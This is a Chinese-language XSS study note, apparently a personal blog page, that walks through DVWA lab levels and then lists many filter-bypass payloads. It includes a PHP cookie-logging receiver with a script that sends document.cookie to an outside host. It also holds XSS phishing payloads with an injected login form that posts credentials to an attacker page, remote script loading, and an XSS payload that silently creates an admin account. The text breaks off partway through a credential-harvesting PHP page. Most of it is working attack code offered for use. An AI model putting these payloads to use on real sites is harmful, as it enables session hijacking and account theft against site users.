xss专用章节
?
?
?
?
XSS 轉(zhuǎn)碼 ?
XSS小助手
http://web.chacuo.net/charsetjsascii??
js轉(zhuǎn)unicode
?
?
http://tool.chinaz.com/Tools/native_ascii.aspx
ascii/native 編碼互轉(zhuǎn)
?
?
?
http://zone.secevery.com/code/
xss編碼轉(zhuǎn)換(最全)
?
?
https://www.toolmao.com/xsstranser
Xss string.fromCharCode 轉(zhuǎn)換
?
?
怎么去挖掘XSS漏洞
比如說,有一個站點有搜索框,我們?nèi)ゲ檎?/span>
?
然后去查看源代碼,看它對<>”?有沒有過來,如果有,就想辦法去繞過,如果沒有,就直接構(gòu)造XSS漏洞
?
?
?
?
javascript 事件和協(xié)議
- onclick ,當(dāng)鼠標(biāo)點擊一下時執(zhí)行一次
- onmouseover ,當(dāng)鼠標(biāo)放上去時執(zhí)行一次
- onmouseout ,當(dāng)鼠標(biāo)移出去時執(zhí)行一次
- onmousedown ,當(dāng)鼠標(biāo)按下時執(zhí)行一次
- onmouseup ,當(dāng)鼠標(biāo)在上面松開(彈起)時執(zhí)行一次
- onmousedblclick ,當(dāng)鼠標(biāo)雙擊時執(zhí)行一次
- onload ,當(dāng)對象加載完成時執(zhí)行
什么是偽協(xié)議
偽協(xié)議不同于因特網(wǎng)上所真實存在的協(xié)議,如http://,https://,ftp://,
而是為關(guān)聯(lián)應(yīng)用程序而使用的.如:tencent://(關(guān)聯(lián)QQ),data:(用base64編碼來在瀏覽器端輸出二進(jìn)制文件),還有就是javascript:
我們可以在瀏覽地址欄里輸入"javascript:alert('JS!');",點轉(zhuǎn)到后會發(fā)現(xiàn),實際上是把javascript:后面的代碼當(dāng)JavaScript來執(zhí)行,并將結(jié)果值返回給當(dāng)前頁面。
?
類似,我們可以在a標(biāo)簽的href屬性中使用javascript偽協(xié)議
?
?
?
<a href="javascript:alert('JS!');"></a>
//點擊這面的鏈接,瀏覽器并不會跳轉(zhuǎn)到任何頁面,而是顯示一個彈窗
但javascript:偽協(xié)議有個問題,它會將執(zhí)行結(jié)果返回給當(dāng)然的頁面
<a href="javascript:window.prompt('輸入內(nèi)容將替換當(dāng)前頁面!','');">A</a>
?
?
?
?
?
?
Xss
?
xss漏洞發(fā)生在web前端,主要對網(wǎng)站用戶造成危害
?
反射型 XSS
通過xss 漏洞改造帶有攻擊腳本的URL ,發(fā)送URL給目標(biāo),觸發(fā)惡意腳本,一次性,所見即所得,一般出現(xiàn)在查詢類頁面
?
?
存儲型XSS
通過XSS漏洞將帶惡意腳本注入到服務(wù)器后臺(數(shù)據(jù)庫或者文件中 ),訪問該頁面觸發(fā)惡意腳本,永久性一般出現(xiàn)在留言板等
打開火狐,進(jìn)入dvwa,級別調(diào)成低級別
?
在 XSS(reflected) 選項里做實驗
?
?
?
在文本框輸入 JS代碼
?
<script>alert("xss")</script>
?
?
?
?
?
?
彈出了XSS ,證明這個文本框有反射XSS
?
?
打開火狐,進(jìn)入dvwa,級別調(diào)成中級別
?
這時候再用
<script>alert("xss")</script>
?提交,發(fā)現(xiàn) ?????????
?
?
并沒有彈窗 猜測可能過濾的 了 script 腳本,但是沒有過濾HTML腳本
?
?
?
?
可以輸入 ????<scr<script>ipt> alert("kk")</script>
?
?彈窗了,成功繞過了
?
打開火狐,進(jìn)入dvwa,級別調(diào)成高級別
?
?
這是 輸入 ??<scr<script>ipt> alert("kk")</script> ?不行了
返回了一個這個
?
?
現(xiàn)在去查看他的源代碼
?
?
?
最后輸入的是 pre 這個標(biāo)簽,想辦法取消掉他
?
?
?
???使用這個語法來取消掉
????11</pre> <img src=1 ?οnerrοr=alert('xss')> <pre> 22
?
??
對文本框輸入, 反射XSS就彈出來了
?
?
?
?
證明有XSS漏洞后可以
?11</pre> <img src=http://自己帶有XSSpayload的網(wǎng)址> <pre> 22
?
?
?
各個級別的代碼 剖析
?
最低級別 low
<?php
?
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
????// Feedback for end user
????echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?
?> ??
?
沒有對輸入做任何的過濾,只是判斷他是否存在
?
?
?
中級別的 ?medium
?
????<?php
?
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
????// Get input
????$name = str_replace( '<script>', '', $_GET[ 'name' ] );
?
????// Feedback for end user
????echo "<pre>Hello ${name}</pre>";
}
?>
?
判斷他是否存在,并且使用了 str_replace 將輸入的結(jié)果中的 ?<script> 給替換成空,但是僅僅對含有 <script> ?的腳本有限制 可以用 <scr<script>ipt> alert("kk")</script> ?來繞過
?
?
?
?
?
?
?
?
高級別的 ?high
?
?
?<?php
?
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
????// Get input
????$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
?
????// Feedback for end user
????echo "<pre>Hello ${name}</pre>";
}
?
?>
?
?
執(zhí)行了正則的搜索,一旦匹配就干掉, 但是還是只是在 script 這個字符中下了功夫,,但是可以用別的語法來做xss
?
例如: ???11</pre> <img src=1 ?οnerrοr=alert('xss')> <pre> 22
?
?
?
?
?
?
?
?
?
?
?
?
接下來介紹DOM 類型的xss
?
Dom 型xss 演示和分析 ?在服務(wù)器上對這段代碼測試
?
??<script>
?????function test(){
????? var str=document.getElementById('text').value;
????? document.getElementById('t').innerHTML="<a href=' "+str+"'> testLink</a> ";
?
?????}
?????
?????</script>
?
????<div id="t"></div>
????<input type="text" id="text" value="">
????<input type="button" id="s" value="write" οnclick="test()">
?
?
?
然后輸入 'οnclick=alert("xss") //???????
再去點擊,就會反射個xss
?
?
?不過引號可能會被過濾什么的,最好輸入
'οnclick=alert(/xss/) //
?
?
?
?
?
反射出來的 多加了個 //
?
?
解釋:首先用第一個單引號閉合掉 href 的第一個單引號,然后插入一個onclick 事件,最后再用注釋符 // ?注釋掉第二個單引號
?
?
還可以用另外一種方法
?
'> <img src=# οnerrοr=alert("xss2") /> <'
?
點擊確定
?
頁面的代碼就變成了
???<a href=''> <img src=# οnerrοr=alert(/xss2/) /> ?<'' > ??testLink </a>
?
?
?
?
?
?
?
?
?
現(xiàn)在切換到DVWA,設(shè)置成LOW 低級別 -切換到XSS (stored ) ?帶有XSS漏洞的留言板
?
把<script>alert("xss")</script> 復(fù)制到留言板
?
?
?
?
可以看到,這里在最長這里設(shè)置了10個字符
?
右擊->編輯HTML
?
?
?
?
?
?
?然后提交
?
反射XSS就出來了,
?
?
存儲型XSS漏洞
?
PHP 中stripslashes函數(shù)表示:去除字符串中的反斜線字符,如果有兩個連續(xù)的反斜線,則只去掉一個;
?
?
現(xiàn)在把DVWA切換到中 級別 ??中級別的 ?medium
還是原來的樣子,繞過前端對字符的限制
輸入 <script>alert("xss")</script>
會發(fā)現(xiàn),并沒有彈窗,而是
腳本過濾了,但是過濾不嚴(yán)格
?
?
可以用 <scr<script>ipt> alert("xss11111")</script> ?來繞過
高級別對script 便簽做了完美的限制,但是對腳本沒有做限制,還是可以繞過
用 <img src=1 ?οnerrοr=alert('xssend')>
?
還是彈窗了
?
?
?
?
?
?
?
?
?
實驗: 通過xss 盜取用戶的cookie
?
?
?
?
?
?
?
?
?
接收端寫的代碼
?
?
?
<?php
?
$cookie=$_GET['cookie']; ?//已get方式提交獲取cookie
?
$time=date('Y-m-d g:i:s '); ??// 已 "年-月-日 分:秒 顯示格式"
?
$referer=getenv('HTTP_REFERER'); ??//獲取referer
?
$cookietxt=fopen("cookiee.txt", "a+"); ??//創(chuàng)建并且cookie
?
fwrite($cookietxt, "time:".$time." cookie:".$cookie." referer:".$referer."\r\n"); //寫入到文件
?
fclose($cookietxt);
?
?
?
?
?
?>
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
腳本端
?
<script>document.write('<img src="http://192.168.1.61/xss/index.php?cookie='+document.cookie+'" width=0 height=0 border=0 />')</script>
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
先測試下, 192.168.1.61站點是否能接受cookie
?
192.168.1.61/xss/index.php?cookie=dwadaw
?
?
然后在 192.168.1.61 的web目錄上就生成了一個cookie
?
?
?
?
?
?
現(xiàn)在確認(rèn)接收站點正常
?
?
?
?
進(jìn)入 dvwa 把級別調(diào)至低級別 LOW
?
對著輸入框->右擊firebug ->
?
?
?
?
繞過前端的字符限制
?
把xss 存儲型的代碼放上去
?
?
?
?
?
提交
?
?
然后 只要別的用戶再去瀏覽這個 留言板,他們的cookie 就會被自動盜取
?
自己模擬一個用戶去登錄
。。。。。。
?
?
?
?
?
然后進(jìn)入 接收站點查看cookie
?
?
打開火狐
?
使用火狐的firebug
?
?
?
?新建cookie
?
?
?
把剛剛劫持到的cookie 放到這里
確認(rèn)
?
然后把cookie 后面的網(wǎng)址也復(fù)制下來
?
?
?
?
?
?
?
?
對著火狐地址框輸入 進(jìn)去,如果直接進(jìn)去了,就證明成功了
?
?
?
?
?
?
?
?
?
?
直接進(jìn)來了
?
?
?
?
如果以下不能彈窗,可能是瀏覽器版本的問題
?
彈出XSS的方法有很多種
1 利用HTML標(biāo)簽
2 利用HTML標(biāo)簽的屬性值來做
例子:
?<img src=1 οnerrοr="alert(/xss/)">
<input type="text" value="烏云歡迎您" ?οnclick="alert(/xss/)" />
3 ?空格回車TAB
如果XSS 過濾僅僅把敏感的輸入字符列入黑名單,如銘感字 javascript 而言,用戶可以利用空格,回車和TAB繞過限制
?
例如
<img src=”java ???script:alert(/xx/)”??widht=100>
注入,java 和script 之間的間隔不是空格鍵,而是TAB鍵添加的,把以上的代碼保存在HTML中,用IE6打開。此時IE 6會彈窗 ,但是在我自己測試的時候沒有彈窗,記住這個思路就好了
?
Var ?a=true
Var b=”im 2cto-bnsky”
如果同一行中有多個語句,那么每個語句就必須 使用分號來來結(jié)束
Var ?a=true;b=”im 2cto-bnsky”
?
除了再引號中分割單詞或強制結(jié)束語句之外,額外的空白無論已何種方式添加無所謂,下面的代碼,雖然語句中有一個換行符,但變量的賦值完全成功
?
var ?a=”hello word”;
alert(a);
?
引擎沒有把換行符解釋為語句的終止符,因為到換行符并不是一個完整的語句,JavaScript會繼續(xù)處理發(fā)現(xiàn)的內(nèi)容,直到遇到一個分號或發(fā)現(xiàn)語句完整為止, 因此用戶可以構(gòu)造下面的代碼形式繞過系統(tǒng)對javascript 等關(guān)鍵字的過濾
??<iMg srC=1 ;
???ONerror="alert(/1/)">
使用回車符分割關(guān)鍵字(拆分關(guān)鍵字)的技巧,還有大小寫,成功執(zhí)行了跨站腳本代碼
?
4 ?對標(biāo)簽屬性值轉(zhuǎn)碼
此外,對普通HTML標(biāo)記的屬性值進(jìn)行過濾,用戶還可以通過編碼處理來繞過,因為HTML中屬性值本身支持ASCII碼形式
?
<img src=”javascript:alert(‘xss’);”> ?????????//這條語句自己測試的時候是不行的
替換為
?
?<img src="javascriptt:alert(/xss/)" >
?
?
源代碼是<img src=1 οnerrοr="alert(/s/)"> 經(jīng)過轉(zhuǎn)換為
?<ImG src=1;
?????onerRoR=alert(/s/)
?>
?
5 ?產(chǎn)生自己的事件
現(xiàn)在,假設(shè)用戶不能一開屬性值進(jìn)行跨站,
?
??<input type="button" value="click me " οnclick="alert(YES)">
這是HTML代碼中的事件處理程序,運行這段代碼,點擊就觸發(fā)彈窗
我們把事件分為3個不同的類別
用戶接口(鼠標(biāo),鍵盤)
邏輯(處理的結(jié)果)
變化(對文檔進(jìn)行的修改)
既然事件能讓javascript代碼運行,就意味著用戶也能利用它執(zhí)行跨站腳本
?<img src=1 ?οnerrοr="alert(/xss/)">
測試事件腳本還有很多,
Onmouseover
...
...
..
?
?
?
?
?
?
6 ?利用CSS跨站剖析
?
例子
<div style="background-image: url("javascript:alert('xss')")"></div> ??//這個自己嘗試了不行
?
IE5 以及其后的版本在支持CSS中使用expression,使用Experssion 同樣可以觸發(fā) XSS漏洞
?<div style="width: expression(alert('sssss'));"></div> //這條可以
?<div style="color: expression(alert('XSS'))">
?這樣也可以
?<div style="w: expression(alert('sssss'));"></div>
?
?
在IE 7 。IE6 可以彈窗
?
?
??一個正常的xss 輸入
?????<img src=1 οnerrοr="alert(1)" >
?
大小寫混合
?<IMG SRC=1 οnerrοr="alert(1)" >
單引號xss
?<iMg ?SRC=1 οnerrοr= 'alert(1)' >
沒有引號的XSS
?<IMG SRC=1 οnerrοr= alert(1)>
?
沒有空格的XSS
??
?<IMG/SRC=1 οnerrοr=alert(1)>
這里的IMG標(biāo)記和SRC熟悉沒有空格,而是用/隔開,依然可以彈窗
?
?
?
<a href="java script:alert(/xss/)">xss</a>
a和s 之間用tab鍵去繞過
?
?
?
???當(dāng)利用expression執(zhí)行跨站時,可以構(gòu)造不同的全角字符來擾亂過濾規(guī)則:
?
???<XSS STYLE="xss:expEssion(alert('xss'))">
???<div style="{left:expression(alert('xss'));}"></div> //這個是正確的XSS代碼,上面意思是擾亂過濾規(guī)則
?
?
??<div style="wid/******/th: expr/**javascript***/ession(alert('xss'))"></div>]
利用 ?/***/ s各種去繞過過濾規(guī)則
?
??樣式中的 /**/ 會被瀏覽器忽略,因此可以運用/**/ 來注釋字符,通過插入混淆字符繞過過濾
?????<XSS STYLE="xss:expr/*xss*/ession(alert('xss'))"> ????//擾亂對方的過濾規(guī)則
?????<div style="wid/*******/th:expre/*xss*/ssion(alert('xss'))">123123</div> ??//xss 彈窗 ?在IE5,IE7 有效
?
?
Expression 在IE 里有效,其實就是javascript 的意思
?
如果對方過了了Script 可以嘗試
<scr<script>ipt>alert("XSS")</scr<script>ipt>
?
?
?
?<a href=javascript:alert(/xss/)>123321</a> ?不用引號的XSS
?
?
?
<iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
?
?
??<isindex action=j a vas c r ipt:alert(1) type=image>
?
?
?
base64編碼
Data協(xié)議使用方法? ?data:資源類型;編碼,內(nèi)容
到目前為止 我遇到使用base64編碼的情況 大多數(shù)是這樣
<a href="可控點">
<iframe src="可控點">
在這種情況下 如果過濾了<> ' " javascript 的話 那么要xss可以這樣寫 然后利用base64編碼!
?
<a href="<script>alert(/sss/)</script>">222222222</a> //源代碼,這樣是不能彈窗的
?
?<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">adwada</a> ?//加上base64 編碼就能彈窗 ???data:text/html;base64,是固定語法
?
?
?
HTML5 新增的實體命名編碼,如
: => [冒號]? ???=> [換行
?
如<a href="javascript:alert(1)">click</a>
?
解析器一般將工作分配給兩個組件——詞法分析器(有時也叫分詞器)負(fù)責(zé)將輸入分解為合法的符號,解析器則根據(jù)語言的語法規(guī)則分析文檔結(jié)構(gòu),從而構(gòu)建解析樹,詞法分析器知道怎么跳過空白和換行之類的無關(guān)字符。
<a href="javascript:alert(1)">click</a>
首先html編碼被還原出來 然后就成了換行 跟冒號
<a href="javasc
ript:alert(1)">click</a>??
為什么換行后還能夠執(zhí)行?是因為瀏覽器中的解析器中詞法分析器?起的作用會跳過空白跟換行之類的無效字符。換行時必須用單雙號圍住,否則不會跳過。跳過回車和換行,不支持on事件.
然后就構(gòu)造成了一個完整的語句
<a href="javascript:alert(1)">click</a> 代碼成功執(zhí)行
?
?
?
?
?
?
?
?
?
字符編碼:
字符編碼在跨站腳本中經(jīng)常運用到,透過這種技巧,不僅能讓XSS代碼繞過服務(wù)端的過濾,還能更好的隱藏shellcode
?
?
繞過 magic_quotes_gpc
這個是 PHP里的一個安全參數(shù)
Magic_quotes_gpc=ON ?是php中的安全設(shè)置,開啟后會把一些特殊字符進(jìn)行輪換,比如 ‘(單引號) ?轉(zhuǎn)換為 ??\' ????"(雙引號) 轉(zhuǎn)換為 ??\" ?????????\轉(zhuǎn)換為 \\
?
?比如 ?<script> alert("xss") </script> 會轉(zhuǎn)換成 <script>alert(\"xss\");</script> 這樣的話我們的XSS就不生效了
?
?
?針對開啟了magic_quotes_gpc 的網(wǎng)站,我們可以通過javascript 中的String.fromCharCode方法來繞過,我們可以把 alert("xss") 轉(zhuǎn)化為
??String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41) 那么我們的XSS語句就變成了
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
String.fromCharCode()是javascript中的字符串方法,用來把ASCII轉(zhuǎn)換為字符串。
?
?
可以嘗試把XSS留在管理員登錄界面,這樣的話就可以永久劫持它的cookie
?
?繞過長度限制
?<input type="text" value="$var">
?如果服務(wù)器端v在變量 $var 上做了長度限制的話,那么攻擊者可能會構(gòu)造這樣的XSS
?
?$var 為 ?"> <script>alert(/xss/)</script>
??????希望達(dá)到的輸出效果是:
???????<input type="text" value=""><script>alert(/xss/)</script> "
???????假設(shè)字符長度限制為20個字節(jié),攻擊就無法完成,那么可以利用事件
???????"οnclick=alert(1)??//
?
效果就是 <input type="text" value="" οnclick="alert(/xss/) ?">
?
?
?
?
挖洞專用彈窗代碼
?
?
script>window.setAttribute('onload',alert('xss')</script>
?
onerror ?十六進(jìn)制的HTML為
onerror
?
<img src=1 οnerrοr=alert(1);> ??不要引號也能彈窗
?
<a href="javascript:alert('xss')">2</a> 點擊彈窗
?
?
?<video src=x ?????οnerrοr=prompt(1);> ?彈窗
?
?
?<div οnclick="alert('ss')">12321 </div> ???彈窗
不需要 <> / ??的彈窗
<script>
eval(`alert(1)`);
</script>
或者
<script>
window.alert("xss")
</script>
?
?
<object data="javascript:alert(1)">
?
<SvG/onlOad=alert(1)> ???//最短的一個彈窗
?
?
???<iframe/οnlοad=alert(1)>彈窗
?
?
??<body/οnpageshοw=alert(1)> ??彈窗
?
?
?<? echo('<scr'); echo('ipt>alert(/ss/)</script>');?> 彈窗
?
?
?
<marquee><script>alert(`ss`)</script></marquee> 彈窗
?
?
?
<script>var test=1;alert(test)</script> 彈窗
?
?
?
?
?eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x27\x29") ?????彈窗 ???16進(jìn)制轉(zhuǎn)碼
?
???
??????eval(alert('ss')) ??????//原始代碼
??????eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0060\u0073\u0073\u0060\u0029") ?//轉(zhuǎn)換后 ?轉(zhuǎn)換后必須加上雙引號
?
?
?
?
??在某些特定的環(huán)境下,可以利用注釋繞過 長度限制
??<input type="text" id="1" value="">
??<input type="text" id="2" value="">
??在第一個 input 框輸入
????"><!--
????在第二個input框輸入
--> <script>alert(/xss/)</script>
?
?
??最終的效果是
??<input type="text" id="1" value=""> ?<! -- ?" />
???xxxxxxxxxx
??<input type="text" id="2" value=""> --> <script>alert(/xss/)</script>
?
中間的代碼全部被 ??<!--- ?-->
?
?
?
?
?
?
?
?
?
?
?
?
var search = "可控點";
document.getElementById().innerHTML=search;
以上情況很多都是出現(xiàn)在你搜索后 然后顯示的 你所查詢的關(guān)鍵字
如果過濾了 <> ' " & % 等等這些!然后再輸出到頁面上!
按理說這樣是安全了!但是我們把輸入的值改成 js編碼,
如 我們改成 <img src=x οnerrοr=alert(1)> 然后進(jìn)行js八進(jìn)制編碼 ==>
\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76
然后服務(wù)器端接受后 經(jīng)過過濾器 沒有發(fā)現(xiàn)該過濾的就進(jìn)入到了innerHTML中
經(jīng)過js的解碼 我們的代碼又還原回來了 并且注入到了網(wǎng)頁中!這時候代碼執(zhí)行!成功彈窗!
?
?
?
URL編碼
Javascript:偽協(xié)議后面可以使用URL編碼。
如:<a href="javascript:%61lert(1)">click me</a>可成功執(zhí)行彈窗
可用img就不行:<img src=1 οnerrοr=”javascript:%61lert(1)”>
因為href屬性會跳轉(zhuǎn)到其中的URL,而會進(jìn)行URL解碼.onerror屬性則只會執(zhí)行JS,不跳轉(zhuǎn)
同時后面的url編碼可以再做一次entity(HTML實體)編碼:
<a href="javascript:%61lert(1)">click me</a>
由于entity編碼允許&#之后插入任意多個0,再利用上javascript的注釋混淆后:
<a href="javascript: //%0a %61lert(1)">click me</a>
?
?
?
?
?
?
繞過防御
過濾了alert(1)的括號,可以用alert`1`??//反引號
利用js字符串模塊??eval.call`${'\141\154\145\162\164\50\61\51'}`
轉(zhuǎn)換大小寫<scRiPt>alert(1)<ScRipt>
繞過Php的htmlspecialchars()
Php的htmlspecialchars()默認(rèn)能將< > & “轉(zhuǎn)成< > & "
如果用了htmlspecialchars($name, ENT_QUOTES);? ?則 ’ 也會被轉(zhuǎn)成 '
如果用了 htmlspecialchars ($name, ENT_NOQUOTES);則單雙引號都不會被轉(zhuǎn)換。
Js中可用以下代碼繞過:
Javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))
Html中可用以下代碼繞過:
‘ οnmοuseοver=’alert(1)
源代碼是<input type=”text” value=””>
變成了<input type=”text” value=” ‘οnmοuseοver=’alert(1)”>
這個沒試過,不知道行不行~~~
?
?
?
單引號或者是 ~鍵盤上的反引號 ?你都試試
?
?
?
2.php源代碼
<?php
$name = $_GET["name"];
$name = htmlspecialchars($name);
?>
<input type='text' value='<?php echo $name?>'>
地址欄輸入http://127.0.0.1/2.php?name=’ οnmοuseοver=’alert(1)后回車
然后將鼠標(biāo)移到那個框框后, 彈出彈窗.
我自己試了 ,沒彈窗
?
?
Xss釣魚(掛馬):
(1)xss重定向釣魚
如自己建一個釣魚網(wǎng)站www.xiumu.com, 然后受害者訪問如下地址http://www.test.com/a.php?id=””><script>document.location.href=”http://www.xiumu.com”</script>
或者http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=0 width=0 ></iframe>
?
?
?
(2)HTML注入式釣魚
直接利用XSS漏洞注射HTML/js 代碼到頁面中.可寫一個正常的HTML表單來竊取賬號密碼.如:http://www.test.com/a.php?id=””<html><head><title>login</title></head><body><div style=”text-align:center;”><form method=”POST” action=”xiumu.php” name=”form”><br/><p>username</p><input type=”text” value=”” name=”a”><p>password</p><input type=”password” name=”b” value=””><br/><input type=”submit” value=”login”></form></body></html>
這樣當(dāng)用戶直接填入賬號密碼提交后,你就可以在xiumu.php接收到受害者的賬號密碼了.
Xiumu.php代碼:<?php echo $_POST[‘a(chǎn)’]?><?php echo $_POST[‘b’]?>
(3)Xss跨框架釣魚
這種方式是通過<iframe>嵌入遠(yuǎn)程域的一個頁面實施釣魚,http://www.test.com/a.php?id=””><iframe src=”http://www.xiumu.com” height=”100%” width=”100%”></iframe>通過將www.xiumu.com的頁面做的和test的頁面相同(可利用iframe實現(xiàn)),但受害者看到的不是真正的test頁面,而是xiumu頁面.
?
?
?
騰訊微博曾經(jīng)的XSS漏洞
?
<a href="###" οnclick="setTimeout(function(){ UI.remove($('upload_pic_container')) }, 10); MI.talk('分享活動','#x');alert(document.cookie);//#這個活動【xx】挺好玩,大家快來參加吧,地址是http://event.t.qq.com/x。', 80, null, function(){window.location.reload()} );">分享</a><span>|
?
?
?
由于瀏覽器解析頁面的時候會先把'解碼成',從而在onclick的javascript環(huán)境下形成單引號閉合,從而當(dāng)點擊“分享”即可觸發(fā)我們插入的代碼。
?
?
?
?
IE6-IE8,IE9的兼容模式有效的xss,插入如下的代碼,當(dāng)鼠標(biāo)點擊test即觸發(fā)xss。
?
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">test</a>
?
貌似只能是a標(biāo)簽有效
?
?
Xss 的基本概念
. 經(jīng)過測試,我們發(fā)現(xiàn),score這個【輸入】參數(shù),沒有進(jìn)行任何過濾,
即,輸入是什么,輸出就是什么? 通俗點就是“吃什么,拉什么”。。
如下圖
?
?
?
?
?
?
?
?
?
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<img src=1 οnerrοr=alert(1);>&func=haoping&_=1353475261886
?
?
?
eval() 也可以執(zhí)行10進(jìn)制形式的文本,但是需要配合String.fromCharCode 函數(shù)的使用
string.fromcharcode()用于將字符轉(zhuǎn)化為ascii值
?
?
例子
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
?
?
?
?
?
?
?
?
???<a href="javascript:alert(/sss/)">sss</a> ??????//原始代碼。利用偽造協(xié)議
?
?????10進(jìn)制編碼以后 ?????
?
?
???????????<a href="javascript:alert(/sss/)">sss</a>
彈窗
?
?
?
?動態(tài)調(diào)用遠(yuǎn)程javascript
?假設(shè)www.bug.com 的某個頁面存在一個含有XSS漏洞 exploit 如下
?
?http://www.bug.com/veiw.php?sort=[exploit]
?
?????可以直接把shellcode 寫到URL參數(shù)中
??????http://www.bug.com/veiw.php?sort=<script>alert(/xss/)</script>
?
?????因為種種限制,所以只需寫一個script標(biāo)簽引用自己的惡意站點進(jìn)行動態(tài)的加載,這樣的話我們可以在我們的站點寫上任意代碼然后被漏洞站點加載
?
?
?
?除了使用 <script>標(biāo)簽動態(tài)的調(diào)用遠(yuǎn)程javascript ,還可以運用基于DOM的方法創(chuàng)建和插入節(jié)點,把腳本注入到HTML網(wǎng)頁里
?
?
?<script>
?? var s=document.createELement("script");
?? s.src="http://www.baidu.com/1.js";
?? document.getElementsByTagName('head')[0].appendChild(s)
??</script>
?
?
?
location.hash 用法
??#alert('xss')" >http://www.bug.comv/vriw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
?
?
?
substr() 可在字符串中抽取從start下標(biāo)(這里是1)開始的制定數(shù)目的字符,所以location.hash.substr(1) 的作用是抽取 ?“#”?符號后面的字符,即 alert(‘xss’) 而 eval() 函數(shù)用來計算某字符串,并執(zhí)行其中的javascript 代碼,通過這種技巧,就能先把shellcode 寫到地址參數(shù)再執(zhí)行,
?
?
?
?
?
一段XSS的payload
某網(wǎng)站同學(xué)留言的貼圖URL輸入框出現(xiàn)過XSS,主要是onload 事件來觸發(fā)
在留言的貼圖URL的輸出框里填寫
editor/uploadfile/2016/2/123123123.gig" οnlοad="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---)eval(unescape(t.substring(s,e)))">
?
在留言框內(nèi)容填寫
?
xss代碼觸發(fā)以后,會調(diào)用留言內(nèi)容中的+++和---之間部分代碼,對這段代碼解碼后得到核心的shellcode如下
?
?
?try{
? var as=document.getElementsByTagName('a'); ??
? var frm=document.getElementsByTagName('iframe')[0];
? frm.οnlοad=function(){
? var oFrm=document.getElementsByTagName('iframe')[0]; ??
? oFrm.οnlοad="";
? var oDoc=oFrm.contentWindow.document;
? oDoc.all["who"][1].checked=true;
? oDoc.dealmember.action="backation/updateclassmate.jsp?f=1";
? oDoc.dealmember.submit();
?
? }
? frm.src=as[34].href
?}catch(e){
? alert(e)
?}
????????
????????大概意思就是 獲取所有的a標(biāo)簽 獲取第一個iframe,定義一個加載的函數(shù),獲取第一個iframe標(biāo)簽,設(shè)置它的參數(shù),提交到backation/updateclassmate.jsp?f=1這個網(wǎng)頁中,自動提交, iframe 的內(nèi)容也就是src 和頁面上的某個a標(biāo)簽的src 是一樣的,就等于是新建了一個iframe框架,里面的內(nèi)容就是頁面上的a標(biāo)簽的內(nèi)容,并且自動提交。就是頁面跳轉(zhuǎn)劫持的意思
?
?
?
?
?
?
?
?
cookie 常見屬性
Domain-設(shè)置關(guān)聯(lián)cookie 的域名
Expires-通過給定一個過期時間來創(chuàng)建一個持久化cookie
httponly-用于避免cookie被javascript訪問
name-cookie 的名稱
path-關(guān)聯(lián)到cookie的路徑,默認(rèn)為/
value- 讀寫cookie 的值
secure- 用于指定cookie需要通過安全socket層連接傳遞
?
?
?
創(chuàng)建cookie,需要提供cookie 的名字,對應(yīng)值,過期時間和相關(guān)路徑
php設(shè)置
<?
setcookie(‘user_id’,123) ??//創(chuàng)建一個cookie變量user_id=123
?>
?
刪除cookie
setcookie(‘user_id’,0,time()-1)
?
在瀏覽器輸出
javascript:alert(document.cookie) ?就能知道cookie
?
攻擊者可以通過以下幾種方式獲取cookie
?
?
?
?
?
自己寫一個請求添加賬號密碼的XSS ?shellcode, 關(guān)于ajax 如果忘了,可以去看前端的筆記.dox
?
?
請求的URL
/admin/adminuser/admiuser_add.asp
請求的POST數(shù)據(jù)
username=123456&password=123456=password=123456&purview=..........&submit=.........
?
?
xssshellcode 如下
<script>
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType('text/xml');
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTP.6.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'];
for(var i=0;i<versions.length;i++){
try{
request=new ActiveXObject(versions[i])
}catch(e){}
}
}
xmlhttp=request
add_admin();
function add_admin(){
var url="/admin/adminuser/admiuser_add.asp"; ?//請求地址
var params="username=xss&password=123456=password=123456&purview=..........&submit=........." ??//提交的數(shù)據(jù),也就是修改密碼的數(shù)據(jù)
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close");
xmlhttp.send(params);
}
?????上述代碼簡單的利用xmlhttp對象發(fā)送一個POST請求,由于該請求上帶上了被攻擊的COOkie 并一同發(fā)送到服務(wù)端,所以能在后臺悄悄添加一個管理員
?
?
?
?
?
做釣魚網(wǎng)站,并且保存密碼后頁面跳轉(zhuǎn)
?
<form action="http://192.168.111.102/stong.php" method="post">
?<input type="text" name="user">
?<input type="pass" name="pass">
?<input type="submit">
</form>
?
?
?
?
<?php
$data=fopen("123.txt", "a+");
